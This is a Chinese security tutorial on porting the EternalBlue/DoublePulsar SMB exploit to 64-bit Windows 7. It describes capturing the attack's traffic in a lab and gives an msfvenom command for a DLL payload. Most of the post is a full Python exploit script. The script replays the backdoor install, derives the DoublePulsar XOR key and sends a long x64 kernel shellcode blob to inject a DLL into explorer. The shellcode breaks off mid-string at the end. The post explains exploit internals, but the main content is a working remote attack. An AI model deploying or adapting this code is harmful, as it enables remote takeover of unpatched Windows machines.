EternalBlue之win7 64位exploit编写

华盟原创文章投稿奖励计划

https://www.77169.net/wp-content/uploads/2017/08/t01f040ee4fc48edf8a-1.png

作者:

前言


在上一篇文章中,原文链接: http://bobao.360.cn/learning/detail/4012.html

我们构造了针对于Win 7三十二位操作系统攻击exploit,本节将完成一个win7 64位的exploit

上节回顾


win7 三十二位的exploit是由两部分功能代码组成的,一个是安装后门(Eternalblue) ,另一个则是后门维持(Doublepulsar)

1.Win7三十二位与六十四位安装后门 实际就是hook了ntdll!kiFastCallEntry。所以内核层函数的hook(后门安装)也是受内核版本影响

2.注入部分。没什么解释的,通常情况32位dll只能注入32位进程, 64位dll只能注入64位进程

想多了解些的可以读下15pb 赵神这篇 (关于32位和64位进程互读互写)

实验环境


网络环境: 局域网

攻击ip: 192.168.157.129(win7_x86)

靶机ip: 192.168.157.130(win7_x64)

工具: NSA的fb.py、wireshark、python、hex editor、

实验步骤


0x1: 一样的套路 开wireshark监听port 445捕捉到Eternalblue的数据

http://p5.qhimg.com/t01154e6d6890498bbc.png

0x2: 捕捉Doubleplusar动作的数据

在六十四位下和三十二位包的数量都是一样的,可能不同就在某个字段上。

http://p3.qhimg.com/t018f19e8acdfcfeefb.png

0x3: 数据包处理

接着就用上节的脚本来把Eternalblue攻击的数据包序列化供给我们的python调用

接着就是手动去分析Doubleplusar 在六十四位和三十二位的不同,参考文章:

http://bobao.360.cn/learning/detail/4074.html

发现是signature字段

三十二位: xxxxxxxxx0xxxxxx

六十四位: xxxxxxxxx1xxxxxx

http://p4.qhimg.com/t01e23c106e4a5ba0f4.png

http://p2.qhimg.com/t01ab78a9f708b987ed.png

其他没什么问题。

0x4: exploit构造脚本

关于测试dll的生成:

kali-> msfvenom -p windows/x64/exec CMD=”calc.exe” -f dll > /x64.dll

这样生成就可以, 上面我用Doublepuls注入的dll是用msf生的。 注入哪个进程随你,脚本中默认是explorer。

测试dll要选择64位dll。否则可能出现蓝屏现象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
#!/usr/bin/python
# -*- coding: utf-8 -*-
import socket
import time
import ast
import binascii
import struct
HOST ='192.168.157.130'
PORT = 445
dllfile = "x64_calc.dll"
= socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((HOST,PORT))
def Install_Backdoor():
    backlog = open("eternalblue.replay").read().split("\n\n")
    backlog = [ast.literal_eval(i) for in backlog]
    connections = []
    start = time.time()
    for in backlog:
    delta = i[-1- (start - time.time())
        print(i[0], delta)
        if delta > 0:
            time.sleep(delta)
        start = time.time()
        if i[0== "connect":
            sock = socket.socket()
            sock.connect((HOST , PORT ))
            connections.append({"socket":sock,"stream" : i[1]})
        if i[0== "close":
            [j['socket'].close() for in connections if j["stream"== i[1]]
        if i[0== "send":
            [j['socket'].send(i[2]) for in connections if j["stream"== i[1]]
        if i[0== "recv":
            [j['socket'].recv(2048for in connections if j['stream'== i[1]]
            
def calculate_doublepulsar_xor_key(s):
    """Calaculate Doublepulsar Xor Key
    """
    = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8)))
    = x & 0xffffffff  # this line was added just to truncate to 32 bits
    return x
def make_unicode_host(org_host):
    host_len = len(org_host)
    new_host = ""
    for in range(host_len):
        new_host =new_host + "\x00" + org_host[i]
    return new_host
def get_smb_signature(smb_data):
    print binascii.b2a_hex(smb_data[18:22])
    return smb_data[18:22]
    
    def get_key(smb_data):
    smb_sign = struct.unpack("<I",get_smb_signature(smb_data))[0]
    print "smb_sign:","0x%X"%(smb_sign)
    int_key = calculate_doublepulsar_xor_key(smb_sign)
    print  "int_key:","0x%X"%(int_key)
    key=struct.pack("<I",int_key)
    print "key:",binascii.b2a_hex(key)
    return key
def xor_data(org_data , key):
    #异或加密
    newdata = ""
    for in range(len(org_data)):
        newdata += chr(ord(org_data[i]) ^ ord(key[i%len(key)]))
    
    #print binascii.b2a_hex(newdata)
    return newdata
    
def make_smb_request(send_data , key):
    data_len = len(send_data)
    array = []
    ncount = data_len / 4096
    if (data_len % 4096) > 0:
        ncount += 1
    make_data =""
    for in range(ncount):
        if i < ncount-1:
            smb_Length = struct.pack(">H",4096 +32 +34 + 12)
            #print binascii.b2a_hex(smb_Length)
            totalDataCount = struct.pack("<H",4096)
            byteCount = struct.pack("<H",4096 + 13)
            make_data = send_data[i*4096:(i+1)*4096]
        else:
            smb_Length = struct.pack(">H",data_len - 4096*+32 +34 + 12)
            totalDataCount = struct.pack("<H",data_len - 4096*i)
            byteCount = struct.pack("<H",data_len - 4096*i+ 13)
            make_data = send_data[i*4096:]
                    
        netBIOS_header = "\x00\x00"+ smb_Length
        smb_header = "\xFF\x53\x4D\x42\x32\x00\x00\x00\x00\x18\x07\xC0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xFF\xFE\x00\x08\x42\x00"
        transRequest_header = "\x0F\x0C\x00"+ totalDataCount +"\x01\x00\x00\x00\x00\x00\x00\x00\xF0\xCC\x0C\x00\x00\x00\x0C\x00\x42\x00"+totalDataCount+"\x4E\x00\x01\x00\x0E\x00"+ byteCount +"\x00"
        data_index = struct.pack(">H",i*0x10)
        data_header = "\x00\x2C\x00\x00"+totalDataCount+"\x00\x00"+data_index+"\x00\x00"
        #print "data_index:",binascii.b2a_hex(data_index)
        #print "data_header:",binascii.b2a_hex(data_header)
        #print len(data_header)
        array.append(netBIOS_header + smb_header +transRequest_header + xor_data(data_header + make_data,key))
    return array , ncount
    
if __name__ == "__main__":
    #安装后门
    Install_Backdoor()
    print "------Install backdoor done!------"
    #上传并执行dll
    #smb 头是32字节 请求包50字节 ,以下一行30字节
    #smb版本
    step_0_data ="\x00\x00\x00\x85\xFF\x53\x4D\x42\x72\x00\x00\x00\x00\x18\x53\xC0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE\x00\x00\x40\x00\x00\x62\x00\x02\x50\x43\x20\x4E\x45\x54\x57\x4F\x52\x4B\x20\x50\x52\x4F\x47\x52\x41\x4D\x20\x31\x2E\x30\x00\x02\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00\x02\x57\x69\x6E\x64\x6F\x77\x73\x20\x66\x6F\x72\x20\x57\x6F\x72\x6B\x67\x72\x6F\x75\x70\x73\x20\x33\x2E\x31\x61\x00\x02\x4C\x4D\x31\x2E\x32\x58\x30\x30\x32\x00\x02\x4C\x41\x4E\x4D\x41\x4E\x32\x2E\x31\x00\x02\x4E\x54\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00"
    s.sendall(step_0_data)
    data = s.recv(1024)
    print 0,data
    #windows系统版本
    step_1_data ="\x00\x00\x00\x88\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE\x00\x00\x40\x00\x0D\xFF\x00\x88\x00\x04\x11\x0A\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xD4\x00\x00\x00\x4B\x00\x00\x00\x00\x00\x00\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x32\x00\x31\x00\x39\x00\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x35\x00\x2E\x00\x30\x00\x00\x00"
    s.sendall(step_1_data)
    data = s.recv(1024)
    print 1,data
    #对方ip地址 x.x.x.x 其中有2个字节与x86的不一致
    str_ip = "\xFF\x53\x4D\x42\x75\x00\x00\x00\x00\x18\x07\xC0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE\x00\x08\x40\x00\x04\xFF\x00\x5e\x00\x08\x00\x01\x00\x33\x00\x00\x5C\x00\x5C"+ make_unicode_host(HOST)+"\x00\x5C\x00\x49\x00\x50\x00\x43\x00\x24\x00\x00\x00\x3F\x3F\x3F\x3F\x3F\x00"
    step_2_data ="\x00\x00\x00"+chr(len(str_ip))+ str_ip
    #print binascii.b2a_hex(step_2_data)
    #print step_2_data
    s.sendall(step_2_data)
    data = s.recv(1024)
    print 2,data
    #验证得到signature
    step_3_data ="\x00\x00\x00\x4E\xFF\x53\x4D\x42\x32\x00\x00\x00\x00\x18\x07\xC0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xFF\xFE\x00\x08\x41\x00\x0F\x0C\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x1F\x36\xCE\x00\x00\x00\x0C\x00\x42\x00\x00\x00\x4E\x00\x01\x00\x0E\x00\x0D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    s.sendall(step_3_data)
    response = s.recv(1024)
    print 3,response
    print 3,binascii.b2a_hex(response)
    key = get_key(response)
    #shellcode+dll
        kernel_shellcode ="\x48\x89\xE0\x66\x83\xE4\xF0\x41\x57\x41\x56\x41\x55\x41\x54\x53\x51\x52\x55\x57\x56\x50\x50\xE8\xBC\x06\x00\x00\x48\x89\xC3\x48\xB9\xDF\x81\x14\x3E\x00\x00\x00\x00\xE8\x26\x05\x00\x00\x48\x85\xC0\x0F\x84\x55\x03\x00\x00\x48\x89\x05\x9C\x07\x00\x00\x48\xB9\xBA\x1E\x03\xA0\x00\x00\x00\x00\xE8\x07\x05\x00\x00\x48\x85\xC0\x0F\x84\x36\x03\x00\x00\x48\x89\x05\x85\x07\x00\x00\x48\xB9\x84\x06\xE7\xF9\xFF\xFF\xFF\xFF\xE8\xE8\x04\x00\x00\x48\x85\xC0\x0F\x84\x17\x03\x00\x00\x48\x89\x05\x6E\x07\x00\x00\x48\xB9\x4F\xFE\xEB\x15\x00\x00\x00\x00\xE8\xC9\x04\x00\x00\x48\x85\xC0\x0F\x84\xF8\x02\x00\x00\x48\x89\x05\x57\x07\x00\x00\x48\xB9\xF9\x30\xAC\xA4\x00\x00\x00\x00\xE8\xAA\x04\x00\x00\x48\x85\xC0\x0F\x84\xD9\x02\x00\x00\x48\x89\x05\x40\x07\x00\x00\x48\xB9\xCA\xBE\xD0\xEC\x00\x00\x00\x00\xE8\x8B\x04\x00\x00\x48\x85\xC0\x0F\x84\xBA\x02\x00\x00\x48\x89\x05\x29\x07\x00\x00\x48\xB9\xAE\xB8\x9F\x5D\xFF\xFF\xFF\xFF\xE8\x6C\x04\x00\x00\x48\x85\xC0\x0F\x84\x9B\x02\x00\x00\x48\x89\x05\x12\x07\x00\x00\x48\xB9\x94\x01\x69\xE3\xFF\xFF\xFF\xFF\xE8\x4D\x04\x00\x00\x48\x85\xC0\x0F\x84\x7C\x02\x00\x00\x48\x89\x05\xFB\x06\x00\x00\x48\xB9\xF6\x10\x00\xB8\xFF\xFF\xFF\xFF\xE8\x2E\x04\x00\x00\x48\x85\xC0\x0F\x84\x5D\x02\x00\x00\x48\x89\x05\xE4\x06\x00\x00\x48\xB9\xCA\xD6\x5F\xD2\xFF\xFF\xFF\xFF\xE8\x0F\x04\x00\x00\x48\x85\xC0\x0F\x84\x3E\x02\x00\x00\x48\x89\x05\xCD\x06\x00\x00\x48\xB9\x79\xA8\x24\x11\x00\x00\x00\x00\xE8\xF0\x03\x00\x00\x48\x85\xC0\x0F\x84\x1F\x02\x00\x00\x48\x89\x05\xB6\x06\x00\x00\x48\xB9\x37\xC6\x90\x4F\x00\x00\x00\x00\xE8\xD1\x03\x00\x00\x48\x85\xC0\x0F\x84\x00\x02\x00\x00\x48\x89\x05\x9F\x06\x00\x00\x48\xB9\x6C\xE7\xFE\x10\x00\x00\x00\x00\xE8\xB2\x03\x00\x00\x48\x85\xC0\x0F\x84\xE1\x01\x00\x00\x48\x89\x05\x88\x06\x00\x00\xE8\x4F\x03\x00\x00\x8B\x05\x85\x06\x00\x00\x85\xC0\x0F\x84\xC7\x01\x00\x00\xE8\xD9\x01\x00\x00\x48\x85\xC0\x0F\x84\xB9\x01\x00\x00\x4C\x8D\x0D\x94\x06\x00\x00\x41\x8B\x09\x51\x51\x6A\x40\x68\x00\x10\x00\x00\x4D\x31\xC0\x48\x8D\x15\xD2\x05\x00\x00\x48\xB9\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x48\x83\xEC\x20\xFF\x15\x06\x06\x00\x00\x48\x83\xC4\x38\x59\x89\x0D\x5F\x06\x00\x00\x48\x85\xC0\x0F\x85\x22\x01\x00\x00\x48\x8D\x35\x57\x06\x00\x00\x48\x8B\x3D\x9C\x05\x00\x00\xF3\xA4\x80\x3D\x2F\x06\x00\x00\x01\x74\x05\xE8\x96\x02\x00\x00\x48\x8B\x35\x4D\x05\x00\x00\x8B\x0D\x0F\x06\x00\x00\x48\x01\xCE\x48\x89\xF1\x44\x8B\x25\x06\x06\x00\x00\x48\x8B\x11\x48\x39\xD6\x0F\x84\xDE\x00\x00\x00\x48\x31\xC0\x8B\x05\xDD\x05\x00\x00\x48\x29\xC2\x51\x52\x48\x89\xD1\x48\x83\xEC\x20\xFF\x15\xC3\x05\x00\x00\x48\x83\xC4\x20\x5A\x59\x48\x85\xC0\x74\x2E\x4D\x31\xC9\x44\x8B\x0D\xCE\x05\x00\x00\x4A\x8B\x04\x08\x48\x85\xC0\x74\x1B\x4C\x01\xE2\x80\x3D\xBF\x05\x00\x00\x01\x74\x07\x80\x3A\x01\x74\x0F\xEB\x08\x8B\x02\x0F\xBA\xE0\x05\x72\x05\x48\x8B\x09\xEB\x9B\x4C\x29\xE2\x48\x89\x15\x0B\x05\x00\x00\x48\xBA\x90\x00\x00\x00\x00\x00\x00\x00\x48\x31\xC9\x48\x83\xEC\x40\xFF\x15\x3C\x05\x00\x00\x48\x83\xC4\x40\x48\x85\xC0\x74\x5B\x48\x89\x05\xEC\x04\x00\x00\xC6\x80\x80\x00\x00\x00\xC3\x48\x31\xC9\x51\x6A\x01\xFF\x35\xC9\x04\x00\x00\x51\x4C\x8D\x88\x80\x00\x00\x00\x4D\x31\xC0\x48\x8B\x15\xBF\x04\x00\x00\x48\x89\xC1\x48\x83\xEC\x20\xFF\x15\x02\x05\x00\x00\x48\x83\xC4\x40\x4D\x31\xC9\x4D\x31\xC0\x48\x31\xD2\x48\x8B\x0D\xA6\x04\x00\x00\x48\x83\xEC\x20\xFF\x15\xEC\x04\x00\x00\x48\x83\xC4\x20\x48\x83\xEC\x20\x48\x8D\x0D\x4D\x04\x00\x00\xFF\x15\xAF\x04\x00\x00\x48\x8B\x0D\x38\x04\x00\x00\xFF\x15\xAA\x04\x00\x00\x48\x83\xC4\x20\x48\x31\xC0\x48\x8D\x3D\x9A\xFC\xFF\xFF\x48\xB9\x70\x03\x00\x00\x00\x00\x00\x00\xF3\xAA\x48\x8D\x3D\x2A\x00\x00\x00\x48\xB9\xD3\x04\x00\x00\x00\x00\x00\x00\x48\x03\x0D\xE4\x04\x00\x00\xF3\xAA\x58\x58\x5E\x5F\x5D\x5A\x59\x5B\x41\x5C\x41\x5D\x41\x5E\x41\x5F\x48\x89\xC4\x48\x31\xC0\xC3\x53\x56\x51\x52\x48\xB9\x08\x00\x00\x00\x00\x00\x00\x00\x51\x48\x8D\x15\xD1\x03\x00\x00\x48\x83\xEC\x20\xFF\x15\x17\x04\x00\x00\x48\x83\xC4\x20\x48\x85\xC0\x0F\x85\xDD\x00\x00\x00\x48\x8B\x35\xB3\x03\x00\x00\x48\x31\xDB\x8B\x1D\x66\x04\x00\x00\x8B\x04\x1E\x83\xF8\x02\x0F\x8C\xB0\x00\x00\x00\x48\x89\xF1\x48\x83\xEC\x20\xFF\x15\xE9\x03\x00\x00\x48\x83\xC4\x20\xE8\x57\x02\x00\x00\x8B\x0D\x5A\x04\x00\x00\x39\xC8\x0F\x85\x8C\x00\x00\x00\x48\x8D\x15\x7B\x03\x00\x00\x48\x89\xF1\x48\x83\xEC\x20\xFF\x15\xC6\x03\x00\x00\x48\x89\xF1\xFF\x15\xC5\x03\x00\x00\x48\x83\xC4\x20\x48\x85\xC0\x74\x49\x48\x31\xDB\x8B\x1D\x0B\x04\x00\x00\x48\x8B\x04\x18\x48\x85\xC0\x74\x37\x48\x31\xC9\x8B\x1D\xFD\x03\x00\x00\x66\x8B\x0C\x18\x48\x8B\x44\x18\x08\x48\x85\xC0\x74\x20\x48\x31\xDB\x8B\x1D\x02\x04\x00\x00\x48\x29\xD9\x7C\x12\x48\x01\xC8\xE8\x2B\x02\x00\x00\x8B\x0D\xEB\x03\x00\x00\x39\xC8\x74\x3F\x31\xC0\x89\x05\x03\x03\x00\x00\x48\x8D\x0D\x04\x03\x00\x00\x48\x83\xEC\x20\xFF\x15\x62\x03\x00\x00\x48\x83\xC4\x20\x48\x89\xF1\x48\x83\xEC\x20\xFF\x15\x59\x03\x00\x00\x48\x83\xC4\x20\x59\x81\xF9\x00\x00\x01\x00\x7F\x0E\x83\xC1\x04\xE9\xF3\xFE\xFF\xFF\x59\x48\x89\xF0\xEB\x03\x48\x31\xC0\x5A\x59\x5E\x5B\xC3\x48\x8B\x35\xB7\x02\x00\x00\x8B\x0D\x79\x03\x00\x00\x48\x01\xCE\x48\x8B\x16\x8B\x05\x5D\x03\x00\x00\x48\x29\xC2\x48\x31\xC0\x48\xFF\xC8\x48\xC1\xE0\x2C\x48\x8B\x12\x48\x39\xC2\x72\x0B\xB8\xE8\x03\x00\x00\x89\x05\x3D\x03\x00\x00\xC3\x56\x51\x52\x48\x83\xEC\x20\xFF\x15\x1F\x03\x00\x00\x48\x89\xC6\x8B\x05\x36\x03\x00\x00\x48\x01\xC6\xFF\x15\x05\x03\x00\x00\x48\x89\xF1\x48\x39\xF0\x77\x17\x48\x8D\x90\x00\x05\x00\x00\x48\x39\xF2\x72\x0B\x48\x29\xC6\x89\x35\x00\x03\x00\x00\xEB\x08\x48\x8B\x36\x48\x39\xCE\x75\xDC\x48\x83\xC4\x20\x5A\x59\x5E\xC3\x53\x52\x51\x55\x48\x89\xE5\x48\x81\xEC\x00\x01\x00\x00\x57\x48\x89\xCF\x48\x89\xD8\x48\x89\x85\x00\xFF\xFF\xFF\xE8\xBB\x00\x00\x00\x48\x89\x85\x08\xFF\xFF\xFF\xE8\x48\x01\x00\x00\x48\x89\x85\x10\xFF\xFF\xFF\x48\x8B\x85\x00\xFF\xFF\xFF\x48\x8B\x8D\x08\xFF\xFF\xFF\xE8\x9A\x01\x00\x00\x48\x89\x85\x18\xFF\xFF\xFF\x48\x8B\x85\x00\xFF\xFF\xFF\x48\x8B\x8D\x08\xFF\xFF\xFF\xE8\x8F\x01\x00\x00\x48\x89\x85\x20\xFF\xFF\xFF\x48\x8B\x85\x00\xFF\xFF\xFF\x48\x8B\x8D\x08\xFF\xFF\xFF\xE8\x84\x01\x00\x00\x48\x89\x85\x28\xFF\xFF\xFF\x48\x8B\x85\x00\xFF\xFF\xFF\x48\x89\xF9\x48\x8B\x95\x20\xFF\xFF\xFF\x48\x8B\x9D\x10\xFF\xFF\xFF\xE8\x0F\x01\x00\x00\x48\x89\x85\x30\xFF\xFF\xFF\x48\x8B\x85\x28\xFF\xFF\xFF\x48\x8B\x8D\x30\xFF\xFF\xFF\xE8\x55\x01\x00\x00\x66\x89\xC2\x48\x8B\x85\x00\xFF\xFF\xFF\x48\x8B\x8D\x18\xFF\xFF\xFF\xE8\x49\x01\x00\x00\x5F\x48\x81\xC4\x00\x01\x00\x00\x5D\x59\x5A\x5B\xC3\x56\x57\x48\x31\xF6\x8B\x70\x3C\x48\x01\xC6\x66\x81\x3E\x50\x45\x75\x12\x48\x81\xC6\x88\x00\x00\x00\x48\x31\xFF\x8B\x3E\x48\x01\xF8\x5F\x5E\xC3\x48\x31\xC0\xEB\xF8\x56\x51\x57\x48\x89\xC6\x48\x31\xC0\x89\xC7\xC1\xE7\x07\x29\xC7\x89\xF8\x31\xC9\x8A\x0E\x80\xF9\x00\x74\x07\x01\xC8\x48\xFF\xC6\xEB\xE7\x5F\x59\x5E\xC3\x56\x57\x52\x48\x89\xC6\x48\x31\xC0\x89\xC7\xC1\xE7\x07\x29\xC7\x89\xF8\x31\xD2\x8A\x16\x01\xD0\x48\xFF\xC6\xE2\xEC\x5A\x5F\x5E\xC3\x56\x51\x57\x48\x89\xC6\x48\x31\xC0\x89\xC7\xC1\xE7\x07\x29\xC7\x89\xF8\x31\xC9\x8A\x0E\x80\xF9\x00\x74\x0A\x01\xC8\x48\xFF\xC6\x48\xFF\xC6\xEB\xE4\x5F\x59\x5E\xC3\x56\x48\x89\xC6\x48\x83\xC6\x18\x48\x31\xC0\x8B\x06\x5E\xC3\x53\x65\x48\x8B\x04\x25\x38\x00\x00\x00\x48\x8B\x40\x04\x48\xC1\xE8\x0C\x48\xC1\xE0\x0C\x48\x8B\x18\x66\x81\xFB\x4D\x5A\x74\x08\x48\x2D\x00\x10\x00\x00\xEB\xEE\x5B\xC3\x57\x56\x51\x48\x31\xFF\x48\x89\xC6\x48\x31\xC0\x8B\x04\xBA\x48\x01\xF0\xE8\x40\xFF\xFF\xFF\x39\xC8\x74\x0E\x48\xFF\xC7\x48\x39\xDF\x74\x0B\xEB\xE4\x59\x5E\x5F\xC3\x48\x89\xF8\xEB\xF7\x48\x31\xC0\xEB\xF2\x56\x48\x89\xC6\x48\x31\xC0\x8B\x41\x1C\x48\x01\xF0\x5E\xC3\x56\x48\x89\xC6\x48\x31\xC0\x8B\x41\x20\x48\x01\xF0\x5E\xC3\x56\x48\x89\xC6\x48\x31\xC0\x8B\x41\x24\x48\x01\xF0\x5E\xC3\x48\xD1\xE1\x48\x01\xC8\x66\x8B\x00\xC3\x48\x81\xCA\x00\x00\xFF\xFF\x48\x81\xF2\x00\x00\xFF\xFF\x48\xC1\xE2\x02\x48\x01\xD1\x48\x31\xD2\x8B\x11\x48\x01\xD0\xC3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x28\x03\x00\x00\x20\x00\x00\x00\x70\x00\x00\x00\x08\x03\x00\x00\x4C\x00\x00\x00\xC8\x02\x00\x00\x01\x00\x00\x00\xBD\xA2\x37\x83\x00\x00\x00\x00\x00\x00\x00\x00\x8A\x23\x00\x00\x00\x00\x00\x00\x53\x55\x57\x56\x41\x54\x41\x55\x41\x56\x41\x57\x48\x89\xE0\x48\x89\xE1\x48\x83\xE1\x08\x48\x29\xCC\x48\x81\xEC\x00\x04\x00\x00\xE8\x00\x00\x00\x00\x5D\x48\x89\xE6\x48\x89\x06\x48\x81\xEC\x00\x04\x00\x00\x48\x8D\x3D\xD2\x0E\x00\x00\x49\x89\xF0\x48\x83\xC6\x08\x48\x31\xC9\x8A\x0F\x84\xC9\x74\x3F\x48\xFF\xC7\x8B\x0F\x48\x83\xC7\x04\x8B\x17\x48\x83\xC7\x04\x84\xD2\x74\x2C\xE8\xD4\x0D\x00\x00\x51\x0F\xB6\x0F\x48\x85\xC9\x59\x75\x09\x48\x85\xC0\x0F\x84\xB9\x0D\x00\x00\x48\x89\x06\x48\x83\xC6\x08\x30\xC0\x48\x83\xC7\x01\x3A\x47\x04\x74\xCC\xEB\xB8\x4C\x89\xC6\x48\x89\x25\x3D\x0D\x00\x00\x48\x89\x2D\x3E\x0D\x00\x00\x48\x89\x35\x3F\x0D\x00\x00\x90\xE8\x00\x00\x00\x00\x59\x4D\x31\xC9\x49\x89\xC8\x48\x31\xD2\xB2\x01\x48\x8D\x0D\x2E\x0D\x00\x00\x48\x83\xEC\x20\xFF\x56\x38\x48\x83\xC4\x20\x49\xB9\x40\x00\x00\x00\x00\x00\x00\x00\x49\xB8\x00\x30\x00\x00\x00\x00\x00\x00\x48\x31\xD2\x8B\x95\x5D\x0F\x00\x00\x48\x31\xC9\x48\x83\xEC\x20\xFF\x56\x08\x48\x83\xC4\x20\x48\x85\xC0\x0F\x84\xCF\x0C\x00\x00\x48\x89\xC3\x56\x8B\x8D\x5D\x0F\x00\x00\x48\x8D\x35\x80\x0E\x00\x00\x48\x89\xDF\xF3\xA4\x5E\x48\x89\x5E\x48\x48\x31\xC0\x8B\x85\x5D\x0F\x00\x00\x48\x89\x46\x50\x48\x31\xC9\x8B\x8D\x5D\x0F\x00\x00\x48\x8D\x3D\x59\x0E\x00\x00\x31\xC0\xF3\xAA\x48\x31\xC0\x48\x89\x46\x58\x48\x89\x46\x60\x48\x89\x46\x68\x48\x8D\x05\x77\x09\x00\x00\x48\x89\x05\xC4\x02\x00\x00\x48\x8D\x05\x71\x09\x00\x00\x48\x89\x05\xBE\x02\x00\x00\x48\x8D\x05\x78\x09\x00\x00\x48\x89\x05\xB8\x02\x00\x00\x48\x8D\x05\x86\x09\x00\x00\x48\x89\x05\xB2\x02\x00\x00\x48\x8D\x05\xA7\x08\x00\x00\x48\x89\x05\xAC\x02\x00\x00\x55\x48\x8D\x2D\xD6\x01\x00\x00\x48\x8B\x7E\x48\xE8\xA3\x02\x00\x00\x48\x85\xC0\x0F\x85\x13\x01\x00\x00\xE8\x1A\x03\x00\x00\x48\x85\xC0\x0F\x84\x05\x01\x00\x00\x48\x89\x45\x20\x48\x8B\x7D\x08\x48\x83\xC7\x30\x48\x8B\x3F\x48\x8B\x45\x20\x48\x29\xF8\x48\x89\x45\x28\xE8\x64\x03\x00\x00\x48\x85\xC0\x0F\x85\xDD\x00\x00\x00\xE8\xE6\x03\x00\x00\x48\x85\xC0\x0F\x85\xCF\x00\x00\x00\xE8\x4E\x05\x00\x00\x48\x85\xC0\x0F\x85\xC1\x00\x00\x00\xE8\x57\x05\x00\x00\x48\x85\xC0\x0F\x85\xB3\x00\x00\x00\xE8\x57\x06\x00\x00\x48\x85\xC0\x0F\x85\xA5\x00\x00\x00\xE8\xBA\x06\x00\x00\x48\x85\xC0\x0F\x85\x97\x00\x00\x00\xE8\xC6\x07\x00\x00\x48\x85\xC0\x0F\x85\x89\x00\x00\x00\x48\x8B\x45\x20\x48\x89\x46\x70\x48\x8B\x45\x18\x48\x89\x46\x78\x5D\x8B\x85\x61\x0F\x00\x00\x89\x86\x80\x00\x00\x00\x48\x8B\x56\x70\x48\x63\x42\x3C\x48\x8D\x9C\x10\x88\x00\x00\x00\x48\x85\xDB\x74\x48\x8B\x1B\x48\x01\xD3\x83\x7B\x14\x00\x74\x3D\x8B\xBE\x80\x00\x00\x00\x2B\x7B\x10\x3B\x7B\x14\x7F\x2F\x8B\x4B\x1C\x48\x01\xD1\x8B\x04\xB9\x48\x01\xD0\x48\x83\xEC\x20\x4C\x8B\x46\x50\x48\x8B\x56\x48\x48\xB9\x02\x00\x00\x00\x00\x00\x00\x00\xFF\xD0\x48\x83\xC4\x20\x48\x89\x86\x88\x00\x00\x00\x55\x48\x8D\x2D\xB8\x00\x00\x00\xE8\x28\x07\x00\x00\xEB\x00\x48\x8B\x4D\x78\x48\x85\xC9\x74\x0B\x48\x83\xEC\x20\xFF\x56\x40\x48\x83\xC4\x20\x48\x8B\x7D\x20\x48\x85\xFF\x0F\x84\x8A\x00\x00\x00\x4C\x8D\x8D\xAA\x00\x00\x00\x49\xB8\x40\x00\x00\x00\x00\x00\x00\x00\x48\x8B\x55\x50\x48\x8B\x4D\x20\x48\x83\xEC\x20\xFF\x56\x30\x48\x83\xC4\x20\x48\x85\xC0\x74\x09\x48\x8B\x4D\x50\x48\x31\xC0\xF3\xAA\x49\xB8\x00\x80\x00\x00\x00\x00\x00\x00\x48\xBA\x00\x00\x00\x00\x00\x00\x00\x00\x48\x8B\x4D\x20\x48\x83\xEC\x20\xFF\x56\x10\x48\x83\xC4\x20\x48\x8B\x7D\x60\x48\x85\xFF\x74\x2C\x48\x8B\x4D\x68\x48\x31\xC0\xF3\xAA\x49\xB8\x00\x80\x00\x00\x00\x00\x00\x00\x48\xBA\x00\x00\x00\x00\x00\x00\x00\x00\x48\x8B\x4D\x60\x48\x83\xEC\x20\xFF\x56\x10\x48\x83\xC4\x20\x5D\xE9\x60\x0A\x00\x00\x00\x00\x00\x00\x00\x00\x00\